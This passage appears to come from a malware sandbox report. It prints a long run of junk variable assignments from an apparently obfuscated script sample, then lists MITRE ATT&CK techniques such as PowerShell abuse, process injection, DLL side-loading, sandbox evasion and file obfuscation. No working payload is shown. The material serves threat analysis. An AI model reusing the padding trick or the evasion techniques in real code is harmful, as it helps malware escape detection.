486	hfxytwp = "x";
487	hfxytwp = "U";
488	hfxytwp = "I";
489	hfxytwp = "W";
490	hfxytwp = "e";
491	hfxytwp = "i";
492	hfxytwp = "l";
493	hfxytwp = "a";
494	hfxytwp = "T";
495	hfxytwp = "O";
496	hfxytwp = "F";
497	hfxytwp = "r";
498	hfxytwp = "N";
499	hfxytwp = "U";
500	hfxytwp = "a";
501	hfxytwp = "K";
502	hfxytwp = "H";
503	hfxytwp = "N";
504	hfxytwp = "k";
505	hfxytwp = "F";
506	hfxytwp = "m";
507	hfxytwp = "o";
508	hfxytwp = "i";
509	hfxytwp = "x";
510	hfxytwp = "u";
511	hfxytwp = "B";
512	hfxytwp = "b";
513	hfxytwp = "S";
514	hfxytwp = "w";
515	ujgyoiwg = "G";
516	ujgyoiwg = "c";
517	ujgyoiwg = "x";
518	ujgyoiwg = "G";
519	ujgyoiwg = "b";
520	ujgyoiwg = "W";
521	ujgyoiwg = "t";
522	ujgyoiwg = "c";
523	ujgyoiwg = "V";
524	ujgyoiwg = "f";
525	ujgyoiwg = "g";
526	ujgyoiwg = "j";
527	ujgyoiwg = "h";
528	ujgyoiwg = "H";
529	ujgyoiwg = "T";
530	ujgyoiwg = "t";
531	ujgyoiwg = "D";
532	ujgyoiwg = "Q";
533	ujgyoiwg = "M";
534	ujgyoiwg = "Q";
535	ujgyoiwg = "L";
536	ujgyoiwg = "B";
537	ujgyoiwg = "n";
538	ujgyoiwg = "U";
539	ujgyoiwg = "O";
540	ujgyoiwg = "t";
541	ujgyoiwg = "1";
542	vrwvql = "D";
543	vrwvql = "v";
544	vrwvql = "F";
545	vrwvql = "v";
546	vrwvql = "I";
547	vrwvql = "t";
548	vrwvql = "f";
549	vrwvql = "O";
550	vrwvql = "S";
551	vrwvql = "a";
552	vrwvql = "L";
553	vrwvql = "j";
554	vrwvql = "A";
555	vrwvql = "V";
556	vrwvql = "a";
557	vrwvql = "B";
558	vrwvql = "k";
559	vrwvql = "X";
560	vrwvql = "t";
561	vrwvql = "F";
562	vrwvql = "T";
563	vrwvql = "w";
564	vrwvql = "t";
565	vrwvql = "Y";
566	vrwvql = "m";
567	vrwvql = "M";
568	vrwvql = "F";
569	vrwvql = "M";
570	vrwvql = "W";
571	vrwvql = "x";
572	vrwvql = "e";
573	vrwvql = "S";
574	vrwvql = "G";
575	vrwvql = "L";
576	vrwvql = "V";
577	vrwvql = "U";
578	vrwvql = "N";
579	vrwvql = "b";
580	qfausb = "T";
581	qfausb = "T";
582	qfausb = "W";
583	qfausb = "m";
584	qfausb = "i";
585	qfausb = "w";
586	qfausb = "z";
587	qfausb = "P";
588	qfausb = "V";
589	qfausb = "F";
590	awkggviz = "l";
591	awkggviz = "Q";
592	awkggviz = "X";
593	awkggviz = "t";
594	awkggviz = "P";
595	awkggviz = "p";
596	awkggviz = "D";
597	awkggviz = "t";
598	awkggviz = "G";
599	awkggviz = "b";
600	awkggviz = "s";
601	awkggviz = "r";
602	awkggviz = "O";
603	awkggviz = "N";
604	awkggviz = "X";
605	awkggviz = "R";
606	awkggviz = "V";
607	awkggviz = "M";
608	awkggviz = "J";
609	awkggviz = "U";
610	awkggviz = "W";
611	awkggviz = "i";
612	awkggviz = "S";
613	awkggviz = "S";
614	awkggviz = "Y";
615	awkggviz = "I";
616	awkggviz = "r";
617	awkggviz = "C";
618	awkggviz = "t";
619	awkggviz = "y";
620	awkggviz = "V";
621	awkggviz = "o";
622	awkggviz = "o";
623	awkggviz = "n";
624	awkggviz = "F";
625	awkggviz = "i";
626	awkggviz = "q";
627	awkggviz = "P";
628	awkggviz = "k";
629	awkggviz = "q";
630	awkggviz = "I";
631	awkggviz = "t";
632	ceyats = "A";
633	ceyats = "p";
634	ceyats = "f";
635	ceyats = "k";
636	ceyats = "T";
637	ceyats = "q";
638	ceyats = "O";
639	ceyats = "L";
640	nscasyu = "d";
641	nscasyu = "K";
642	nscasyu = "H";
643	nscasyu = "k";
644	nscasyu = "S";
645	nscasyu = "J";
646	nscasyu = "G";
647	nscasyu = "G";
648	nscasyu = "d";
649	nscasyu = "Z";
650	nscasyu = "r";
651	nscasyu = "x";
652	nscasyu = "Y";
653	nscasyu = "e";
654	nscasyu = "W";
655	nscasyu = "r";
656	nscasyu = "k";
657	nscasyu = "j";
658	nscasyu = "o";
659	nscasyu = "j";
660	nscasyu = "i";
661	nscasyu = "t";
662	nscasyu = "U";
663	nscasyu = "M";
664	nscasyu = "E";
665	nscasyu = "v";
666	nscasyu = "P";
667	fvxlb = "u";
668	fvxlb = "k";
669	fvxlb = "S";
670	fvxlb = "V";
671	fvxlb = "S";
672	fvxlb = "o";
673	fvxlb = "e";
674	fvxlb = "t";
675	fvxlb = "H";
676	fvxlb = "I";
677	fvxlb = "j";
678	fvxlb = "H";
679	fvxlb = "G";
680	fvxlb = "e";
681	fvxlb = "a";
682	fvxlb = "z";
683	fvxlb = "V";
684	fvxlb = "G";
685	fvxlb = "T";
686	fvxlb = "m";
687	fvxlb = "h";
688	fvxlb = "L";
689	fvxlb = "n";
690	fvxlb = "c";
691	fvxlb = "d";
692	fvxlb = "P";
693	fvxlb = "z";
694	fvxlb = "x";
695	fvxlb = "v";
696	fvxlb = "n";
697	fvxlb = "m";
698	fvxlb = "H";
699	fvxlb = "g";
700	fvxlb = "R";
701	fvxlb = "P";
702	fvxlb = "C";
703	fvxlb = "C";
704	fvxlb = "K";
705	fvxlb = "C";
706	tybimmsxk = "n";
707	tybimmsxk = "B";
708	tybimmsxk = "V";
709	tybimmsxk = "V";
710	tybimmsxk = "N";
711	tybimmsxk = "l";
712	tybimmsxk = "i";
713	tybimmsxk = "Q";
714	tybimmsxk = "O";
715	tybimmsxk = "J";
716	tybimmsxk = "l";
717	tybimmsxk = "V";
718	tybimmsxk = "f";
719	tybimmsxk = "l";
720	tybimmsxk = "n";
721	tybimmsxk = "m";
722	tybimmsxk = "t";
723	tybimmsxk = "f";
724	tybimmsxk = "w";
725	tybimmsxk = "h";
726	tybimmsxk = "V";
727	tybimmsxk = "D";
728	tybimmsxk = "t";
729	tybimmsxk = "t";
730	tybimmsxk = "N";
731	tybimmsxk = " ";
732	zmbyr = "l";
733	zmbyr = "K";
734	zmbyr = "V";
735	zmbyr = "Y";
736	zmbyr = "d";
737	zmbyr = "S";
738	zmbyr = "q";
739	zmbyr = "F";
740	zmbyr = "Y";
741	zmbyr = "E";
742	zmbyr = "d";
743	zmbyr = "p";
744	zmbyr = "b";
745	zmbyr = "o";
746	zmbyr = "c";
747	zmbyr = "x";
748	zmbyr = "U";
749	zmbyr = "P";
750	zmbyr = "t";
751	zmbyr = "i";
752	zmbyr = "Y";
753	rhmyxil = "U";
754	rhmyxil = "r";
755	rhmyxil = "w";
756	rhmyxil = "A";
757	rhmyxil = "G";
758	rhmyxil = "D";
759	rhmyxil = "F";
760	rhmyxil = "K";
761	rhmyxil = "T";
762	rhmyxil = "C";
763	rhmyxil = "D";
764	rhmyxil = "3";
765	lohcyk = "W";
766	lohcyk = "V";
767	lohcyk = "n";
768	lohcyk = "x";
769	lohcyk = "p";
770	lohcyk = "K";
771	lohcyk = "I";
772	lohcyk = "P";
773	lohcyk = "r";
774	lohcyk = "S";
775	lohcyk = "I";
776	lohcyk = "t";
777	lohcyk = "v";
778	lohcyk = "U";
779	lohcyk = "Q";
780	lohcyk = "s";
781	lohcyk = "H";
782	lohcyk = "I";
783	lohcyk = "Y";
784	lohcyk = "k";
785	lohcyk = "u";
786	lohcyk = "B";
787	lohcyk = "M";
788	lohcyk = "e";
789	lohcyk = "J";
790	lohcyk = "r";
791	lohcyk = "z";
792	lohcyk = "s";
793	lohcyk = "S";
794	qjqvgw = "i";
795	qjqvgw = "o";
796	qjqvgw = "s";
797	qjqvgw = "E";
798	qjqvgw = "J";
799	qjqvgw = "w";
800	qjqvgw = "U";
801	qjqvgw = "s";
802	qjqvgw = "l";
803	qjqvgw = "W";
804	qjqvgw = "I";
805	qjqvgw = "C";
806	qjqvgw = "s";
807	qjqvgw = "B";
808	qjqvgw = "D";
809	qjqvgw = "Y";
810	qjqvgw = "a";
811	qjqvgw = "a";
812	qjqvgw = "O";
813	otvqlmxa = "h";
814	otvqlmxa = "e";
815	otvqlmxa = "i";
816	otvqlmxa = "o";
817	otvqlmxa = "s";
818	otvqlmxa = "G";
819	otvqlmxa = "B";
820	otvqlmxa = "n";
821	otvqlmxa = "L";
822	otvqlmxa = "m";
823	otvqlmxa = "h";
824	otvqlmxa = "E";
825	otvqlmxa = "b";
826	otvqlmxa = "n";
827	otvqlmxa = "F";
828	otvqlmxa = "L";
829	otvqlmxa = "H";
830	otvqlmxa = "w";
831	otvqlmxa = "x";
832	otvqlmxa = "s";
833	otvqlmxa = "y";
834	otvqlmxa = "Q";
835	otvqlmxa = "r";
836	hsmpoqy = "S";
837	hsmpoqy = "c";
838	hsmpoqy = "m";
839	hsmpoqy = "M";
840	hsmpoqy = "B";
841	hsmpoqy = "k";
842	hsmpoqy = "A";
843	hsmpoqy = "n";
844	hsmpoqy = "P";
845	hsmpoqy = "K";
846	hsmpoqy = "C";
847	hsmpoqy = "F";
848	hsmpoqy = "z";
849	hsmpoqy = "m";
850	hsmpoqy = "V";
851	hsmpoqy = "y";
852	hsmpoqy = "W";
853	hsmpoqy = "x";
854	hsmpoqy = "a";
855	hsmpoqy = "h";
856	hsmpoqy = "l";
857	hsmpoqy = "G";
858	hsmpoqy = "E";
859	hsmpoqy = "a";
860	hsmpoqy = "J";
861	hsmpoqy = "v";
862	hsmpoqy = "N";
863	hsmpoqy = "e";
864	hsmpoqy = "m";
865	hsmpoqy = "Z";
866	hsmpoqy = "M";
867	hsmpoqy = "E";
868	hsmpoqy = "&";
869	lqsrc = "I";
870	lqsrc = "R";
871	lqsrc = "A";
872	lqsrc = "y";
873	lqsrc = "n";
874	lqsrc = "P";
875	lqsrc = "z";
876	lqsrc = "x";
877	lqsrc = "q";
878	lqsrc = "d";
879	lqsrc = "b";
880	lqsrc = "k";
881	lqsrc = "g";
882	lqsrc = "J";
883	lqsrc = "S";
884	lqsrc = "Z";
885	lqsrc = "b";
886	lqsrc = "_";
887	zxmjidu = "Y";
888	zxmjidu = "a";
889	zxmjidu = "v";
890	zxmjidu = "G";
891	zxmjidu = "z";
892	zxmjidu = "z";
893	zxmjidu = "z";
894	zxmjidu = "c";
895	zxmjidu = "H";
896	nbtfpr = "X";
897	nbtfpr = "N";
898	nbtfpr = "v";
899	nbtfpr = "R";
900	nbtfpr = "s";
901	nbtfpr = "c";
902	ftsvyqc = "M";
903	ftsvyqc = "v";
904	ftsvyqc = "v";
905	ftsvyqc = "I";
906	ftsvyqc = "N";
907	ftsvyqc = "z";
908	ftsvyqc = "f";
909	ftsvyqc = "t";
910	ftsvyqc = "P";
911	ftsvyqc = "d";
912	ftsvyqc = "A";
913	ftsvyqc = "T";
914	ftsvyqc = "h";
915	ftsvyqc = "k";
916	ftsvyqc = "k";
917	ftsvyqc = "f";
918	ftsvyqc = "b";
919	ftsvyqc = "k";
920	ftsvyqc = "W";
921	ftsvyqc = "T";
922	ftsvyqc = "k";
923	ftsvyqc = "R";
924	ftsvyqc = "P";
925	ftsvyqc = "D";
926	ftsvyqc = "C";
927	ftsvyqc = "k";
928	ftsvyqc = "b";
929	ftsvyqc = "Y";
930	ftsvyqc = "T";
931	ftsvyqc = "Q";
932	ftsvyqc = "C";
933	ftsvyqc = "b";
934	ftsvyqc = "U";
935	ftsvyqc = "U";
936	ftsvyqc = "K";
937	ftsvyqc = "z";
938	ftsvyqc = "n";
939	ftsvyqc = "R";
940	ftsvyqc = "p";
941	ftsvyqc = "R";
942	ftsvyqc = "S";
943	ftsvyqc = "P";
944	ftsvyqc = "s";
945	ftsvyqc = "i";
946	cilftnwjy = "J";
947	cilftnwjy = "g";
948	cilftnwjy = "f";
949	nwuziked = "i";
950	nwuziked = "V";
951	nwuziked = "A";
952	nwuziked = "R";
953	crcwnrg = "j";
954	crcwnrg = "D";
955	crcwnrg = "C";
956	crcwnrg = "u";
957	crcwnrg = "I";
958	crcwnrg = "c";
959	crcwnrg = "j";
960	crcwnrg = "S";
961	crcwnrg = "w";
962	crcwnrg = "K";
963	crcwnrg = "n";
964	qcxntgkcw = "S";
965	qcxntgkcw = "B";
966	qcxntgkcw = "o";
967	qcxntgkcw = "X";
968	qcxntgkcw = "t";
969	qcxntgkcw = "O";
970	qcxntgkcw = "p";
971	qcxntgkcw = "H";
972	qcxntgkcw = "z";
973	qcxntgkcw = "M";
974	qcxntgkcw = "E";
975	qcxntgkcw = "J";
976	qcxntgkcw = "A";
977	qcxntgkcw = "B";
978	qcxntgkcw = "q";
979	qcxntgkcw = "T";
980	qcxntgkcw = "H";
981	qcxntgkcw = "K";
982	qcxntgkcw = "U";
983	qcxntgkcw = "s";
984	qcxntgkcw = "Z";
985	qcxntgkcw = "v";
986	qcxntgkcw = "M";
987	qcxntgkcw = "N";
988	qcxntgkcw = "D";
989	qcxntgkcw = "m";
990	qcxntgkcw = "x";
991	qcxntgkcw = "d";
992	qcxntgkcw = "K";
993	qcxntgkcw = "n";
994	qcxntgkcw = "S";
995	qcxntgkcw = "B";
996	qcxntgkcw = "N";
997	qcxntgkcw = "S";
998	qcxntgkcw = "o";
999	nczragr = "h";
1000	nczragr = "h";
1001	nczragr = "Y";
1002	nczragr = "g";
1003	nczragr = "f";
1004	nczragr = "j";
1005	nczragr = "R";
1006	nczragr = "n";
1007	nczragr = "N";
1008	gmgrfv = "q";
1009	gmgrfv = "z";
1010	gmgrfv = "Q";
1011	gmgrfv = "I";
1012	gmgrfv = "B";
1013	gmgrfv = "E";
1014	gmgrfv = "F";
1015	gmgrfv = "c";
1016	gmgrfv = "O";
1017	gmgrfv = "2";
1018	bngdqhyre = "G";
1019	bngdqhyre = "z";
1020	bngdqhyre = "V";
1021	bngdqhyre = "H";
1022	bngdqhyre = "z";
1023	bngdqhyre = "K";
1024	bngdqhyre = "x";
1025	bngdqhyre = "k";
1026	bngdqhyre = "B";
1027	bngdqhyre = "e";
1028	bngdqhyre = "O";
1029	bngdqhyre = "F";
1030	bngdqhyre = "k";
1031	bngdqhyre = "L";
1032	bngdqhyre = "k";
1033	bngdqhyre = "K";
1034	bngdqhyre = "R";
1035	bngdqhyre = "m";
1036	bngdqhyre = "b";
1037	bngdqhyre = "Z";
1038	bngdqhyre = "B";
1039	bngdqhyre = "F";
1040	bngdqhyre = "Y";
1041	bngdqhyre = "K";
1042	bngdqhyre = "i";
1043	bngdqhyre = "V";
1044	bngdqhyre = "U";
1045	bngdqhyre = "f";
1046	bngdqhyre = "P";
1047	bngdqhyre = "I";
1048	bngdqhyre = "o";
1049	bngdqhyre = "d";
1050	bngdqhyre = "d";
1051	bngdqhyre = "v";
1052	bngdqhyre = "t";
1053	bngdqhyre = "M";
1054	bngdqhyre = "P";
1055	bngdqhyre = "V";
1056	bngdqhyre = "K";
1057	bngdqhyre = "s";
1058	bngdqhyre = "M";
1059	bngdqhyre = "K";
1060	ibwwebvf = "Y";
1061	ibwwebvf = "o";
1062	ibwwebvf = "z";
1063	ibwwebvf = "S";
1064	ibwwebvf = "F";
1065	ibwwebvf = "C";
1066	ibwwebvf = "y";
1067	ibwwebvf = "d";
1068	ibwwebvf = "Q";
1069	ibwwebvf = "t";
1070	ibwwebvf = "W";
1071	ibwwebvf = "q";
1072	ibwwebvf = "C";
1073	ibwwebvf = "x";
1074	ibwwebvf = "q";
1075	ibwwebvf = "I";
1076	ibwwebvf = "P";
1077	ibwwebvf = "M";
1078	ibwwebvf = "O";
1079	ibwwebvf = "s";
1080	ibwwebvf = "f";
1081	ibwwebvf = "G";
1082	ibwwebvf = "w";
1083	ibwwebvf = "I";
1084	ibwwebvf = "W";
1085	ibwwebvf = "u";
1086	ibwwebvf = "d";
1087	ibwwebvf = "M";
1088	ibwwebvf = "h";
1089	ibwwebvf = "p";
1090	ibwwebvf = "Y";
1091	ibwwebvf = "V";
1092	ibwwebvf = "z";
1093	ibwwebvf = "H";
1094	ibwwebvf = "i";
1095	ibwwebvf = "J";
1096	ibwwebvf = "g";
1097	ibwwebvf = "m";
1098	ibwwebvf = "d";
1099	ibwwebvf = "m";
1100	ibwwebvf = "E";
1101	grskqt = "@";
1102	coype = "y";
1103	coype = "Z";
1104	coype = "s";
1105	coype = "y";
1106	coype = "y";
1107	coype = "D";
1108	coype = "w";
1109	coype = "A";
1110	coype = "U";
1111	odhow = "x";
1112	odhow = "t";
1113	odhow = "Z";
1114	odhow = "q";
1115	odhow = "I";
1116	odhow = "T";
1117	odhow = "i";
1118	odhow = "P";
1119	odhow = "D";
1120	odhow = "o";
1121	odhow = "e";
1122	odhow = "c";
1123	odhow = "y";
1124	odhow = "q";
1125	odhow = "z";
1126	odhow = "C";
1127	odhow = "j";
1128	odhow = "A";
1129	odhow = "Q";
1130	odhow = "S";
1131	odhow = "d";
1132	odhow = "X";
1133	odhow = "x";
1134	tnitx = "O";
1135	tnitx = "a";
1136	tnitx = "y";
1137	tnitx = "V";
1138	tnitx = "y";
1139	tnitx = "W";
1140	tnitx = "d";
1141	tnitx = "y";
1142	tnitx = "j";
1143	tnitx = "H";
1144	tnitx = "h";
1145	tnitx = "x";
1146	tnitx = "P";
1147	tnitx = "a";
1148	tnitx = "L";
1149	tnitx = "A";
1150	tnitx = "F";
1151	tnitx = "i";
1152	tnitx = "h";
1153	tnitx = "h";
1154	tnitx = "u";
1155	tnitx = "k";
1156	tnitx = "S";
1157	tnitx = "A";
1158	tnitx = "T";
1159	tnitx = "Q";
1160	tnitx = "P";
1161	tnitx = "H";
1162	tnitx = "i";
1163	tnitx = "p";
1164	tnitx = "q";
1165	tnitx = "h";
1166	tnitx = "E";
1167	tnitx = "p";
1168	wqcqgvitn = "A";
1169	wqcqgvitn = "Y";
1170	wqcqgvitn = "g";
1171	wqcqgvitn = "d";
1172	wqcqgvitn = "D";
1173	wqcqgvitn = "e";
1174	wqcqgvitn = "L";
1175	wqcqgvitn = "S";
1176	wqcqgvitn = "d";
1177	wqcqgvitn = "O";
1178	wqcqgvitn = "w";
1179	wqcqgvitn = "S";
1180	wqcqgvitn = "k";
1181	wqcqgvitn = "w";
1182	wqcqgvitn = "T";
1183	wqcqgvitn = "q";
1184	wqcqgvitn = "F";
1185	wqcqgvitn = "n";
1186	wqcqgvitn = "Q";
1187	wqcqgvitn = "r";
1188	wqcqgvitn = "r";
1189	wqcqgvitn = "C";
1190	wqcqgvitn = "i";
1191	wqcqgvitn = "k";
1192	wqcqgvitn = "W";
1193	wqcqgvitn = "e";
1194	wqcqgvitn = "K";
1195	wqcqgvitn = "c";
1196	wqcqgvitn = "u";
1197	wqcqgvitn = "4";
1198	dkevl = "H";
1199	dkevl = "q";
1200	dkevl = "O";
1201	dkevl = "V";
1202	dkevl = "L";
1203	dkevl = "y";
1204	dkevl = "O";
1205	dkevl = "Q";
1206	dkevl = "r";
1207	dkevl = "C";
1208	dkevl = "n";
1209	dkevl = "O";
1210	dkevl = "H";
1211	dkevl = "o";
1212	dkevl = "u";
1213	dkevl = "e";
1214	dkevl = "F";
1215	dkevl = "u";
1216	dkevl = "p";
1217	dkevl = "J";
1218	dkevl = "u";
1219	dkevl = "b";
1220	dkevl = "h";
1221	dkevl = "h";
1222	dkevl = "o";
1223	dkevl = "y";
1224	dkevl = "F";
1225	dkevl = "C";
1226	dkevl = "d";
1227	dkevl = "G";
1228	dkevl = "o";
1229	dkevl = "N";
1230	dkevl = "d";
1231	dkevl = "d";
1232	dkevl = "Z";
1233	dkevl = "Q";
1234	dkevl = "C";
1235	dkevl = "a";
1236	dkevl = "F";
1237	dkevl = "W";
1238	dkevl = "q";
1239	dkevl = "r";
1240	dkevl = "s";
1241	dkevl = "\\";
1242	kcmayli = "o";
1243	kcmayli = "B";
1244	kcmayli = "X";
1245	kcmayli = "c";
1246	kcmayli = "m";
1247	kcmayli = "S";
1248	kcmayli = "S";
1249	kcmayli = "T";
1250	kcmayli = "z";
1251	kcmayli = "n";
1252	kcmayli = "S";
1253	kcmayli = "Q";
1254	kcmayli = "u";
1255	kcmayli = "H";
1256	kcmayli = "o";
1257	kcmayli = "T";
1258	kcmayli = "d";
1259	dhlngpdq = "L";
1260	dhlngpdq = "K";
1261	dhlngpdq = "N";
1262	dhlngpdq = "F";
1263	dhlngpdq = "Z";
1264	dhlngpdq = "V";
1265	dhlngpdq = "Y";
1266	dhlngpdq = "T";
1267	dhlngpdq = "W";
1268	dhlngpdq = "Z";
1269	dhlngpdq = "v";
1270	dhlngpdq = "U";
1271	dhlngpdq = "D";
1272	dhlngpdq = "k";
1273	dhlngpdq = "9";
1274	bybzavk = "g";
1275	bybzavk = "u";
1276	bybzavk = "r";
1277	bybzavk = "k";
1278	bybzavk = "k";
1279	bybzavk = "K";
1280	bybzavk = "f";
1281	bybzavk = "a";
1282	bybzavk = "N";
1283	bybzavk = "n";
1284	bybzavk = "N";
1285	bybzavk = "a";
1286	bybzavk = "n";
1287	bybzavk = "q";
1288	bybzavk = "S";
1289	bybzavk = "B";
1290	bybzavk = "d";
1291	bybzavk = "r";
1292	bybzavk = "G";
1293	bybzavk = "l";
1294	ooctrco = "W";
1295	ucteb = "j";
1296	ucteb = "X";
1297	ucteb = "Y";
1298	ucteb = "L";
1299	ucteb = "v";
1300	ucteb = "w";
1301	ucteb = "U";
1302	ucteb = "r";
1303	ucteb = "p";
1304	ucteb = "G";
1305	ucteb = "O";
1306	ucteb = "q";
1307	ucteb = "z";
1308	ucteb = "E";
1309	ucteb = "O";
1310	ucteb = "O";
1311	ucteb = "z";
1312	ucteb = "B";
1313	ucteb = "y";
1314	ucteb = "y";
1315	ucteb = "X";
1316	ucteb = "d";
1317	ucteb = "H";
1318	ucteb = "F";
1319	ucteb = "k";
1320	ucteb = "Y";
1321	ucteb = "Q";
1322	ucteb = "w";
1323	ucteb = "v";
1324	ucteb = "C";
1325	ucteb = "k";
1326	ucteb = "h";
1327	rxpkvnw = "M";
1328	rxpkvnw = "j";
1329	rxpkvnw = "u";
1330	rxpkvnw = "H";
1331	rxpkvnw = "h";
1332	rxpkvnw = "r";
1333	rxpkvnw = "s";
1334	rxpkvnw = "R";
1335	rxpkvnw = "l";
1336	rxpkvnw = "l";
1337	rxpkvnw = "h";
1338	rxpkvnw = "K";
1339	rxpkvnw = "z";
1340	rxpkvnw = "F";
1341	rxpkvnw = "o";
1342	rxpkvnw = "w";
1343	rxpkvnw = "E";
1344	rxpkvnw = "p";
1345	rxpkvnw = "R";
1346	rxpkvnw = "m";
1347	rxpkvnw = "t";
1348	rxpkvnw = "R";
1349	rxpkvnw = "d";
1350	rxpkvnw = "Y";
1351	rxpkvnw = "T";
1352	gxhmcnd = "i";
1353	gxhmcnd = "G";
1354	gxhmcnd = "b";
1355	gxhmcnd = "R";
1356	gxhmcnd = "s";
1357	gxhmcnd = "S";
1358	gxhmcnd = "X";
1359	gxhmcnd = "x";
1360	gxhmcnd = "b";
1361	gxhmcnd = "J";
1362	gxhmcnd = "s";
1363	gxhmcnd = "f";
1364	gxhmcnd = "C";
1365	gxhmcnd = "r";
1366	gxhmcnd = "K";
1367	gxhmcnd = "F";
1368	gxhmcnd = "y";
1369	gxhmcnd = "T";
1370	gxhmcnd = "5";
1371	rwgrrdho = "z";
1372	rwgrrdho = "M";
1373	rwgrrdho = "t";
1374	rwgrrdho = "b";
1375	rwgrrdho = "A";
1376	rwgrrdho = "x";
1377	rwgrrdho = "S";
1378	rwgrrdho = "n";
1379	rwgrrdho = "x";
1380	rwgrrdho = "C";
1381	rwgrrdho = "g";
1382	rwgrrdho = "p";
1383	rwgrrdho = "B";
1384	rwgrrdho = "u";
1385	rwgrrdho = "a";
1386	rwgrrdho = "j";
1387	rwgrrdho = "Z";
1388	rwgrrdho = "c";
1389	rwgrrdho = "N";
1390	rwgrrdho = "M";
1391	rwgrrdho = "e";
1392	rwgrrdho = "F";
1393	rwgrrdho = "R";
1394	rwgrrdho = "l";
1395	rwgrrdho = "X";
1396	rwgrrdho = "K";
1397	rwgrrdho = "A";
1398	rwgrrdho = "U";
1399	rwgrrdho = "w";
1400	rwgrrdho = "M";
1401	rwgrrdho = "Z";
1402	rwgrrdho = "f";
1403	rwgrrdho = "w";
1404	rwgrrdho = "s";
1405	rwgrrdho = "g";
1406	rwgrrdho = "q";
1407	rwgrrdho = "I";
1408	rwgrrdho = "Z";
1409	rwgrrdho = "u";
1410	rwgrrdho = "L";
1411	rwgrrdho = "v";
1412	rwgrrdho = "S";
1413	rwgrrdho = "I";
1414	rwgrrdho = "e";
1415	ujqeu ( );	ujqeu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
